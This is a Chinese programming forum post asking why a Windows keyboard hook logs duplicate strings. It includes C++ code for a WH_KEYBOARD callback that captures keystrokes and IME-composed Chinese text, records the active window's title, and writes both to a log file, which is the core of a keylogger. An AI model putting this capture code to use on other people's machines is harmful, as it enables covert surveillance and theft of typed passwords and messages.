我在用WH_KEYBOARD获取键盘输入的汉字时有这样一个问题,在钩子的callback函数中我用ImmGetCompositionString获取输入的汉字字串,然后将这些字串输出到一个文件中,但是奇怪的是在输出文件中记录了很多重复的输入串。请教这是为什么啊?
程序如下:(load钩子的应该不用了吧。)
/******************************************************************************
* 功 能:
* 回调函数,当键盘事件触发后自动执行
******************************************************************************/
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result;
char szTitle[256] = {0};
HIMC hInputContext = 0;
char msg[128] = {0};
char* InputBuffer = NULL;
if( nCode <= 0 )
Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
//Get the handle of curren active window.
HWND hWnd = ::GetActiveWindow();
//Get the title of window
::SendMessage(hWnd,WM_GETTEXT,255,(long)szTitle);
if(lParam & 0x80000000)
{
if( IsIme() )/* the IMM was opened */
{
int length = 0;
//Get the input context
hInputContext = GetInputContext( hWnd );
//Get information
length = ImmGetCompositionString( hInputContext, GCS_RESULTSTR, NULL, 0 );
if( length > 0 )
{
InputBuffer = (char*)malloc(sizeof(char)*(length+1));
ZeroMemory( InputBuffer, sizeof(char)*(length+1) );
}
if( InputBuffer != NULL )
{
ImmGetCompositionString( hInputContext, GCS_RESULTSTR, InputBuffer, length );
if( strlen(keybuffer) + length <= 512 - 2 )
strcat( keybuffer, InputBuffer );
}
/* the buffer was full */
if( strlen(keybuffer) >= 6 || (hWnd != 0 && g_ActiveWinHwnd != hWnd && strlen(keybuffer) > 0))
{
SaveChinaFont(hWnd, szTitle, keybuffer );
}
}
else
{
keybuffer[keybuffer_num++]=wParam;
/* put the character into file when keybuffer is full. */
if( keybuffer_num >= 6 || (hWnd != 0 && g_ActiveWinHwnd != hWnd && keybuffer_num > 0))
{
SaveLog(hWnd, szTitle, keybuffer );
}
}
}
ImmReleaseContext( hWnd, hInputContext );
}
return CallNextHookEx(Hook,nCode,wParam,lParam);
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)